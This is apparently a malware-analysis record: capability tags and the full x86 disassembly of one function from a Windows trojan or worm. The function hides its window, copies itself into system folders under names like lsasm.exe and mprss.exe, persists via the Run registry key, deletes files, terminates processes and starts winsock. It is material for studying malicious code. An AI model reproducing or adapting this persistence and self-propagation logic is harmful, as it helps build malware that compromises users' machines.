Function at 0x401825
Capabilities:
Delete file
Get common file path
Get disk information
Hide graphical window
Initialize winsock library
Persist via run registry key
Terminate process

Disassembly:
push ebp
mov eax, 0x86f8
mov ebp, esp
push ebx
push esi
push edi
call fcn.0040c490
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
push 1
push 0x40
push 0x427bb4
push 0x427c06
mov dword [0x4258f8], edi
call section..text
add esp, 0x10
push 1
push pe_nt_image_headers32
push 0x427bf5
push 0x427c06
call section..text
add esp, 0x10
push 1
push 0x30
push dword [0x427ba8]
push 0x427c06
call section..text
add esp, 0x10
push 1
push 0x20
push dword [0x427bac]
push 0x427c06
call section..text
add esp, 0x10
push 1
push 0x30
push dword [0x427bb0]
push 0x427c06
call section..text
add esp, 0x10
push 1
push pe_nt_image_headers32
push 0x427a94
push 0x427c06
call section..text
add esp, 0x10
push 1
push pe_nt_image_headers32
push 0x427aa5
push 0x427c06
call section..text
add esp, 0x10
push 1
push pe_nt_image_headers32
push 0x427ab6
push 0x427c06
call section..text
add esp, 0x10
push 1
push pe_nt_image_headers32
push dword [0x427ae4]
push 0x427c06
call section..text
add esp, 0x10
push 1
push pe_nt_image_headers32
push 0x427af0
push 0x427c06
call section..text
add esp, 0x10
push 1
push pe_nt_image_headers32
push 0x427b01
push 0x427c06
call section..text
add esp, 0x10
push 1
push pe_nt_image_headers32
push 0x427b12
push 0x427c06
call section..text
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x401964
mov dword [0x425910], 1
push 0x104
push 0x425aa6
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x104
push 0x4259a1
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x104
push 0x41d8e0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 0
push 0
push 0x425920
push 0
push 0
push 0x428d30
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 1
push str.Startup
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push reloc.WSOCK32.dll_accept
push 0x41a050
push 1
push 0
mov byte [0x41a050], 0
call fcn.00406783
add esp, 0x1c
push dword [0x425920]
push str._04X_8B9A_11D5_EBA1_F78EEEEEE983
push 0x419c28
call fcn.0040b2b0
add esp, 0xc
push 0x419c28
push str.CLSID_s
push 0x419730
call fcn.0040b2b0
add esp, 0xc
push 0x427a94
push 0x42598f
call fcn.004098e0
pop ecx
pop ecx
push 4
push 0x425920
push 0x427a94
call fcn.004098c0
add eax, 0x42598f
pop ecx
push eax
call fcn.00409b20
add esp, 0xc
push 1
push 0x419c28
push 0x428db0
push closesocket
push 0
push 6
push 0
call fcn.00406783
add esp, 0x1c
push 1
push 0x428db8
push 0x419730
push closesocket
push 0
push 6
push 0
call fcn.00406783
lea eax, [ebp - 0x82bc]
add esp, 0x1c
push 1
push 0x428dc8
push 0x419730
push closesocket
push eax
push 0xb
push 0
call fcn.00406783
add esp, 0x1c
cmp eax, 0xffffffff
je 0x401ae3
lea eax, [ebp - 0x82bc]
push str..exe
push eax
call fcn.00409a30
test eax, eax
pop ecx
pop ecx
je 0x401ae3
cmp dword [0x425910], 0
je 0x401c00
lea eax, [ebp - 0x82bc]
push 0x428dd4
push eax
call fcn.00409a30
test eax, eax
pop ecx
pop ecx
je 0x401c00
cmp dword [0x425910], 0
je 0x401b4b
lea eax, [ebp - 0x82bc]
push str.32.exe
push eax
call fcn.00409a30
test eax, eax
pop ecx
pop ecx
je 0x401b4b
lea eax, [ebp - 0x82bc]
push 8
push eax
call fcn.00405887
pop ecx
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x82bc]
push eax
lea eax, [ebp - 0x86bc]
push 0x4259a1
push 0x427c36
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x86bc]
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call fcn.0040b720
add eax, 2
pop ecx
push eax
call fcn.0040be50
cmp dword [0x425910], 0
pop ecx
jne 0x401ba7
xor ebx, ebx
call fcn.0040be10
cdq
mov ecx, 0x19
idiv ecx
lea edx, [edx + 0x61]
mov byte [ebx + 0x41d8a0], dl
inc ebx
cmp ebx, 3
jl 0x401b6a
push 0x427c2f
push 0x41d8a0
mov byte [0x41d8a3], 0
call fcn.00409930
mov byte [0x41d8a9], 0
pop ecx
pop ecx
jmp 0x401bc7
call fcn.0040be10
cdq
mov ecx, 2
idiv ecx
push dword [edx*4 + 0x427c94]
push 0x41d8a0
call fcn.004098e0
pop ecx
pop ecx
lea eax, [ebp - 0x82bc]
push 0x41d8a0
push eax
call fcn.004098e0
lea eax, [ebp - 0x82bc]
pop ecx
pop ecx
push 1
push 0x428de4
push 0x419730
push closesocket
push eax
push 0x16
push 0
call fcn.00406783
add esp, 0x1c
jmp 0x401c13
lea eax, [ebp - 0x82bc]
push eax
push 0x41d8a0
call fcn.004098e0
pop ecx
pop ecx
lea eax, [ebp - 0x82bc]
push 1
push 0x428de8
push 0x419730
push closesocket
push eax
push 0xb
push 0
call fcn.00406783
add esp, 0x1c
cmp eax, 0xffffffff
je 0x401c59
lea eax, [ebp - 0x82bc]
push 0x427c2f
push eax
call fcn.00409a30
test eax, eax
pop ecx
pop ecx
jne 0x401cf1
push 0
call fcn.0040b720
add eax, 0x35
pop ecx
push eax
call fcn.0040be50
xor ebx, ebx
pop ecx
mov byte [0x419bd0], 0x6d
mov byte [0x419bd1], 0x73
call fcn.0040be10
cdq
mov ecx, 0x19
idiv ecx
lea edx, [edx + 0x61]
mov byte [ebx + 0x419bd2], dl
inc ebx
cmp ebx, 3
jl 0x401c7d
push 0x427c2f
push 0x419bd0
mov byte [0x419bd5], 0
call fcn.00409930
mov byte [0x419bdb], 0
lea eax, [ebp - 0x82bc]
pop ecx
pop ecx
push 0x419bd0
push eax
call fcn.004098e0
lea eax, [ebp - 0x82bc]
pop ecx
pop ecx
push 1
push 0x428dec
push 0x419730
push closesocket
push eax
push 0x16
push 0
call fcn.00406783
add esp, 0x1c
jmp 0x401d07
lea eax, [ebp - 0x82bc]
push 0xc
push eax
push 0x419bd0
call fcn.00409900
add esp, 0xc
cmp dword [0x425980], 0
je 0x401d24
mov dword [0x425938], 1
mov dword [0x427c3c], 0
cmp dword [0x425980], 0
jne 0x402083
cmp dword [0x425910], 0
jne 0x401d46
push 0x41d8a0
push 0x4259a1
jmp 0x401d50
push 0x41d8a0
push 0x425aa6
lea eax, [ebp - 0x82bc]
push 0x427c36
push eax
call fcn.0040b2b0
add esp, 0x10
lea eax, [ebp - 0x82bc]
push 0
push 0x41d8e0
push eax
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x401d92
mov dword [0x425938], 1
mov dword [0x427c3c], 0
lea eax, [ebp - 0x82bc]
push 0x427aa5
push 0x4259a1
push 0x427c36
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x82bc]
add esp, 0x10
push 0
push 0x41d8e0
push eax
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x401dde
mov dword [0x425958], 1
mov dword [0x427c3c], 0
push 0
push str.showfile.exe
call fcn.004098c0
pop ecx
mov ebx, eax
push 0x41d8e0
call fcn.004098c0
add eax, 0x41d8e0
pop ecx
sub eax, ebx
push eax
push str.showfile.exe
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x401e25
mov dword [0x425978], 1
mov dword [0x427c3c], 1
lea eax, [ebp - 0x82bc]
push 0x427ab6
push 0x4259a1
push 0x427c36
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x82bc]
add esp, 0x10
push 0
push 0x41d8e0
push eax
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x401e71
mov dword [0x42595c], 1
mov dword [0x427c3c], 0
lea eax, [ebp - 0x82bc]
push 0x419bd0
push 0x4259a1
push 0x427c36
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x82bc]
add esp, 0x10
push 0
push 0x41d8e0
push eax
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x401ebd
mov dword [0x42595c], 1
mov dword [0x427c3c], 0
lea eax, [ebp - 0x82bc]
push 0x427b01
push 0x4259a1
push 0x427c36
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x82bc]
add esp, 0x10
push 0
push 0x41d8e0
push eax
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x401f09
mov dword [0x425930], 1
mov dword [0x427c3c], 1
lea eax, [ebp - 0x82bc]
push 0x427b12
push 0x41a050
push 0x427c36
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x82bc]
add esp, 0x10
push 0
push 0x41d8e0
push eax
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x401f55
mov dword [0x425930], 1
mov dword [0x427c3c], 1
push 0
push 0x427b12
call fcn.004098c0
pop ecx
mov ebx, eax
push 0x41d8e0
call fcn.004098c0
add eax, 0x41d8e0
pop ecx
sub eax, ebx
push eax
push 0x427b12
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x401f9c
mov dword [0x425930], 1
mov dword [0x427c3c], 1
push 0
push 0x41d8e0
call fcn.004098c0
add eax, 0x41d8e0
pop ecx
add eax, 0xfffffff7
push eax
push str.setup.exe
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x401fd9
mov dword [0x425950], 1
mov dword [0x427c3c], 1
push 0
push 0x41d8e0
call fcn.004098c0
add eax, 0x41d8e0
pop ecx
add eax, 0xfffffff6
push eax
push str.serial.exe
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x402016
mov dword [0x42597c], 1
mov dword [0x427c3c], 1
mov dword [0x4258e4], 0
mov eax, dword [0x4258e4]
push dword [eax*4 + 0x427ae4]
lea eax, [ebp - 0x82bc]
push 0x4259a1
push 0x427c36
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x82bc]
add esp, 0x10
push 0
push 0x41d8e0
push eax
call fcn.004065df
add esp, 0xc
test eax, eax
jne 0x402074
mov eax, dword [0x4258e4]
inc eax
mov dword [0x425960], eax
mov dword [0x427c3c], 0
inc dword [0x4258e4]
cmp dword [0x4258e4], 3
jl 0x402020
cmp dword [0x425910], 0
jne 0x40209a
cmp dword [0x427c3c], 0
jne 0x40209a
call fcn.004062a1
cmp dword [0x427c3c], 0
je 0x402114
lea eax, [ebp - 0x2bc]
push 1
push 0x428e08
push 0x419730
push closesocket
push eax
push 1
push 0
call fcn.00406783
add esp, 0x1c
cmp eax, 0xffffffff
je 0x40210a
push 0x427a80
call fcn.0040c420
mov ebx, eax
lea eax, [ebp - 0x2bc]
pop ecx
push eax
call fcn.0040c420
cmp eax, ebx
pop ecx
jge 0x4020f6
mov dword [0x427c40], 1
lea eax, [ebp - 0x2bc]
push eax
call fcn.0040c420
cmp eax, 0xffff
pop ecx
jle 0x402114
mov dword [0x427c40], 1
cmp dword [0x425938], 0
jne 0x40223c
cmp dword [0x425960], 0
je 0x402161
mov eax, dword [0x425960]
push esi
dec eax
push dword [eax*4 + 0x427ae4]
lea eax, [ebp - 0x82bc]
push 0x425aa6
push str._s_s__s
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x82bc]
add esp, 0x14
push 0
push eax
call fcn.0040805d
pop ecx
pop ecx
push 0
push dword [0x427ae4]
push 0x41d8e0
call fcn.00403f96
add esp, 0xc
push 2
push 0x427ab6
push 0x41d8e0
call fcn.00403f96
add esp, 0xc
push 1
push 0x419bd0
push 0x41d8e0
call fcn.00403f96
add esp, 0xc
call fcn.004080d4
cmp dword [0x425958], 0
jne 0x4021c0
push 3
push 0x427aa5
push 0x41d8e0
call fcn.00403f96
add esp, 0xc
cmp dword [0x427c3c], 0
je 0x40221f
cmp dword [0x427c40], 0
je 0x40221f
cmp dword [0x425910], 0
jne 0x402206
push 7
push 0x41d8a0
call fcn.00405a43
test eax, eax
pop ecx
pop ecx
je 0x402214
push 0
push eax
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x402214
push 8
push 0x41d8a0
call fcn.00405887
pop ecx
pop ecx
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x425958], 0
jne 0x40223c
push 6
push 0x41d8a0
push 0x41d8e0
call fcn.00403f96
add esp, 0xc
cmp dword [0x425938], 0
je 0x4022f8
xor ebx, ebx
lea eax, [ebp - 0x29c]
push ebx
push 0x428e18
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x29c]
add esp, 0xc
push 1
push eax
lea eax, [ebp - 0x82bc]
push 0x419730
push closesocket
push eax
push 0xb
push 0
call fcn.00406783
add esp, 0x1c
cmp eax, 0xffffffff
je 0x4022a6
lea eax, [ebp - 0x82bc]
push 0x428e1c
push eax
call fcn.00409a30
test eax, eax
pop ecx
pop ecx
je 0x4022a6
jmp 0x4022cc
lea eax, [ebp - 0x29c]
push 1
push eax
push 0x419730
push closesocket
push dword [ebx*4 + 0x427ba8]
push 0x16
push 0
call fcn.00406783
add esp, 0x1c
inc ebx
cmp ebx, 3
jl 0x40224b
push 1
push 0x428e20
push 0x419730
push closesocket
push 0x427a80
push 2
push 0
call fcn.00406783
add esp, 0x1c
cmp dword [0x425958], 0
jne 0x40230a
cmp dword [0x425978], 0
je 0x402314
push 0
push esi
call fcn.0040805d
pop ecx
pop ecx
cmp dword [0x425980], 0
jne 0x4023fe
cmp dword [0x425914], 0
jne 0x4023fe
push 0x427c06
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x4023ce
cmp dword [0x425938], 0
jne 0x4023bd
cmp dword [0x425910], 0
jne 0x402366
push 0x41d8a0
push 0x4259a1
jmp 0x402370
push 0x41d8a0
push 0x425aa6
lea eax, [ebp - 0x82bc]
push 0x427c36
push eax
call fcn.0040b2b0
add esp, 0x10
lea eax, [ebp - 0x82bc]
push 0
push eax
call fcn.0040805d
cmp dword [0x425950], 0
pop ecx
pop ecx
je 0x402590
push 0x2010
push 0x427bf5
push 0x427bb4
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x402590
push 0x427c06
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
jmp 0x4023fe
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x425950], 0
je 0x402590
push 0x2010
push 0x427bf5
push 0x427bb4
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x402590
lea eax, [ebp - 0x82bc]
push 0x427b01
push 0x4259a1
push 0x427c36
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x82bc]
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call fcn.0040b720
pop ecx
mov dword [0x425944], eax
push 0x425944
call fcn.0040b740
pop ecx
push eax
push 0x428e24
push 3
push 0x425984
mov dword [0x425900], eax
call fcn.0040b7f0
add esp, 0x10
push dword [0x425900]
push 0x428e28
push 3
push 0x42598c
call fcn.0040b7f0
add esp, 0x10
push dword [0x425900]
push 0x428e2c
push 0x40
push 0x41d860
call fcn.0040b7f0
add esp, 0x10
push 0x427a94
push 0x425984
call fcn.0040c420
pop ecx
push eax
push 0x42598c
call fcn.0040c420
pop ecx
push eax
call fcn.00406ccc
add esp, 0xc
mov dword [0x425954], eax
push eax
push 0x427a94
push 0x428e40
push 0x41d850
call fcn.0040b2b0
add esp, 0x10
push 1
push str.mprss.exe
call fcn.0040805d
pop ecx
pop ecx
push 1
push str.lsasm.exe
call fcn.0040805d
lea eax, [ebp - 0x19c]
pop ecx
pop ecx
push eax
push 0x101
call sub.WSOCK32.dll_WSAStartup
cmp dword [ebp + 0xc], 0
jne 0x402597
push 0x7f00
push 0
mov dword [ebp - 0x86e0], 0x4062f3
mov dword [ebp - 0x86c0], str.OleMainDdeClass
mov dword [ebp - 0x86d4], edi
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
mov dword [ebp - 0x86cc], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push 0
mov dword [ebp - 0x86c4], 0
mov dword [ebp - 0x86d0], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x86e4], 0
mov dword [ebp - 0x86c8], eax
mov dword [ebp - 0x86d8], 0
mov dword [ebp - 0x86dc], 0
lea eax, [ebp - 0x86e4]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
jne 0x402597
xor eax, eax
jmp 0x4026c3
push 0
push edi
push 0
push 0
push closesocket
push closesocket
push closesocket
push closesocket
push 0xcf0000
push str.Shell_Tray_Icon
push str.OleMainDdeClass
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
push eax
mov dword [0x425948], eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x8b
push 0
call fcn.00406676
test eax, eax
pop ecx
pop ecx
je 0x4025f3
mov eax, 0xffffffff
jmp 0x4026c3
push 0
push 0x3e8
push 0x54d
push dword [0x425948]
call dword [sym.imp.USER32.dll_SetTimer]
push 0xa0
push 0
push 0x419b30
call fcn.00409b60
add esp, 0xc
call fcn.00408254
push 0
push 0x7530
push 0x57d
push dword [0x425948]
call dword [sym.imp.USER32.dll_SetTimer]
push 0
push 0xbe6e0
push 0x5bc
push dword [0x425948]
call dword [sym.imp.USER32.dll_SetTimer]
lea eax, [ebp - 0x8700]
push 0
push 0
push dword [0x425948]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x4026a4
lea eax, [ebp - 0x8700]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x8700]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x8700]
push 0
push 0
push dword [0x425948]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x40266f
cmp dword [0x425914], 0
jne 0x4026bd
push dword [0x4258e8]
call sub.WSOCK32.dll_closesocket
call sub.WSOCK32.dll_WSACleanup
mov eax, dword [ebp - 0x86f8]
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret 0x10